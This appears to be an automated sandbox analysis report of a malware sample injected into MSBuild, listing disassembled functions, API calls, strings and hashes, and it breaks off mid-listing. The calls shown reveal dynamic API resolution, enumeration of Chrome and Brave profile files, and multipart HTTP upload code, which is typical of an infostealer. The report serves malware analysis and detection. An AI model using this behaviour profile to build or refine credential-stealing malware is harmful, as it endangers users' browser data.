The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction ID: d74624c404fea8bc3833097cd15bfd8a5e03d1640ee24043f2693d34696df282
Opcode Fuzzy Hash: 5acfa23b78d647d16e3131d476f18804c650b7bf61bc6c67ff7474173f5a2b8f
Instruction Fuzzy Hash: DF41A979740624EBC71C9FE5EC89B997F60AB8C712BA0C062F90299190C7FAD5119B3D

Function 00419860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,01343360), ref: 004198A1
GetProcAddress.KERNEL32(77190000,01343378), ref: 004198BA
GetProcAddress.KERNEL32(77190000,01343390), ref: 004198D2
GetProcAddress.KERNEL32(77190000,013433A8), ref: 004198EA
GetProcAddress.KERNEL32(77190000,013433C0), ref: 00419903
GetProcAddress.KERNEL32(77190000,013433D8), ref: 0041991B
GetProcAddress.KERNEL32(77190000,01344760), ref: 00419933
GetProcAddress.KERNEL32(77190000,01344780), ref: 0041994C
GetProcAddress.KERNEL32(77190000,013433E8), ref: 00419964
GetProcAddress.KERNEL32(77190000,013447A0), ref: 0041997C
GetProcAddress.KERNEL32(77190000,013447B8), ref: 00419995
GetProcAddress.KERNEL32(77190000,013404B0), ref: 004199AD
GetProcAddress.KERNEL32(77190000,013404C8), ref: 004199C5
GetProcAddress.KERNEL32(77190000,013478F0), ref: 004199DE
GetProcAddress.KERNEL32(77190000,013477A0), ref: 004199F6
GetProcAddress.KERNEL32(77190000,013404E8), ref: 00419A0E
GetProcAddress.KERNEL32(77190000,01347848), ref: 00419A27
GetProcAddress.KERNEL32(77190000,01347800), ref: 00419A3F
GetProcAddress.KERNEL32(77190000,01340508), ref: 00419A57
GetProcAddress.KERNEL32(77190000,013478A8), ref: 00419A70
GetProcAddress.KERNEL32(77190000,01340528), ref: 00419A88
LoadLibraryA.KERNEL32(01347728,?,00416A00), ref: 00419A9A
LoadLibraryA.KERNEL32(013477D0,?,00416A00), ref: 00419AAB
LoadLibraryA.KERNEL32(01347758,?,00416A00), ref: 00419ABD
LoadLibraryA.KERNEL32(013478C0,?,00416A00), ref: 00419ACF
LoadLibraryA.KERNEL32(013477B8,?,00416A00), ref: 00419AE0
GetProcAddress.KERNEL32(76850000,01347770), ref: 00419B02
GetProcAddress.KERNEL32(77040000,01347860), ref: 00419B23
GetProcAddress.KERNEL32(77040000,013478D8), ref: 00419B3B
GetProcAddress.KERNEL32(75A10000,01347830), ref: 00419B5D
GetProcAddress.KERNEL32(75690000,01340548), ref: 00419B7E
GetProcAddress.KERNEL32(776F0000,01340568), ref: 00419B9F
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 00419BB6

Strings

NtQueryInformationProcess, xrefs: 00419BAA

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction ID: 20ebc6b46c949eaa7f25e90fb8197bb2e58582eade08509f86bd82c1d7e4afd5
Opcode Fuzzy Hash: 5241b63200b37b02610696a8d235fc94b134fee8225fd0051d7d8784b632fee7
Instruction Fuzzy Hash: 55A14DBD5C4240BFE354EFE8ED889963BFBF74E301704661AE605C3264D639A841DB12

Function 0040BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

FindFirstFileA.KERNEL32(00000000,?,00420B32,00420B2B,00000000,?,?,?,004213F4,00420B2A), ref: 0040BEF5
StrCmpCA.SHLWAPI(?,004213F8), ref: 0040BF4D
StrCmpCA.SHLWAPI(?,004213FC), ref: 0040BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C7BF
FindClose.KERNEL32(000000FF), ref: 0040C7D1

Strings

Google Chrome, xrefs: 0040C634
\Brave\Preferences, xrefs: 0040C1DB
Preferences, xrefs: 0040C11E
Brave, xrefs: 0040C102

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction ID: 2d1308125da8926fdde3e90b6322e2b17ae592ee2aa58173b84b0ef8a3c681e1
Opcode Fuzzy Hash: c682761d44f5aa90866755697bac6c5d92d7734f1ad5bb28ea9fd79f244d9b70
Instruction Fuzzy Hash: 4E42B871910104ABCB14FB71DD96EED733DAF44304F40456EB50AA60C1EF389B99CBAA

Function 6C5035A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C58F688,00001000), ref: 6C5035D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5035E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5035FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C50363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C50369F
__aulldiv.LIBCMT ref: 6C5036E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C503773
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C50377E
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C5037BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5037C4
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C5037CB
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C503801
__aulldiv.LIBCMT ref: 6C503883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C503902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C503918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C50394C

Strings

GenuntelineI, xrefs: 6C503639
QPC, xrefs: 6C5038FC
GTC, xrefs: 6C503912
AuthcAMDenti, xrefs: 6C503946
MOZ_TIMESTAMP_MODE, xrefs: 6C5035DB

Memory Dump Source

Source File: 00000001.00000002.1764245713.000000006C501000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000001.00000002.1764207378.000000006C500000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764406123.000000006C57D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764459001.000000006C58E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1764513998.000000006C592000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c500000_MSBuild.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 66424eebea0e3594e9b9c827d8005389c4453fc1403476772a15141d72cea47d
Instruction ID: 56837bceb348e7a6386c132f6025b0974f4aa5518db87f6b57905618f2cf7307
Opcode Fuzzy Hash: 66424eebea0e3594e9b9c827d8005389c4453fc1403476772a15141d72cea47d
Instruction Fuzzy Hash: C7B1A175B063209FDB08DF29CC45A1A7BF5BB8F700F169A2DE899D3750D770A9008B99

Function 00414910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041492C
FindFirstFileA.KERNEL32(?,?), ref: 00414943
StrCmpCA.SHLWAPI(?,00420FDC), ref: 00414971
StrCmpCA.SHLWAPI(?,00420FE0), ref: 00414987
FindNextFileA.KERNEL32(000000FF,?), ref: 00414B7D
FindClose.KERNEL32(000000FF), ref: 00414B92

Strings

%s\%s, xrefs: 004149A4
%s\%s, xrefs: 004149FB
%s\*, xrefs: 00414920

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction ID: f0ba0eb1991201f306808920aeaa9e90ed650eb79ad5a8a04d265ad4202cf965
Opcode Fuzzy Hash: 73d63f0ceacab054b0b74fb993ca077a66fc488422d0900d92cd2fa5397069ad
Instruction Fuzzy Hash: E66175B5950218ABCB20EBE0DC45FEA73BDBB49700F40458DB50996181EB74EB85CF95

Function 00404880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479networkstringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404839
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404915
StrCmpCA.SHLWAPI(?,01354E80), ref: 0040493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404ABA
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DDB,00000000,?,?,00000000,?,",00000000,?,01354E60), ref: 00404DE8
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E49
InternetCloseHandle.WININET(00000000), ref: 00404EAD
InternetCloseHandle.WININET(00000000), ref: 00404EC5
HttpOpenRequestA.WININET(00000000,01354DB0,?,01356400,00000000,00000000,00400100,00000000), ref: 00404B15

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

InternetCloseHandle.WININET(00000000), ref: 00404ECF

Strings

", xrefs: 00404D33
------, xrefs: 00404C69
", xrefs: 00404BF2
------, xrefs: 004049BD
------, xrefs: 00404B28

Memory Dump Source

Source File: 00000001.00000002.1742578907.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1742578907.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1742578907.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$??2@CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 2402878923-2180234286
Opcode ID: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 1df839c8eda1272945d6c9bca323601943277d1f6e2daffe811a2a66c9c6b0a0
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 00413EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00413EC3
FindFirstFileA.KERNEL32(?,?), ref: 00413EDA
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00413F08
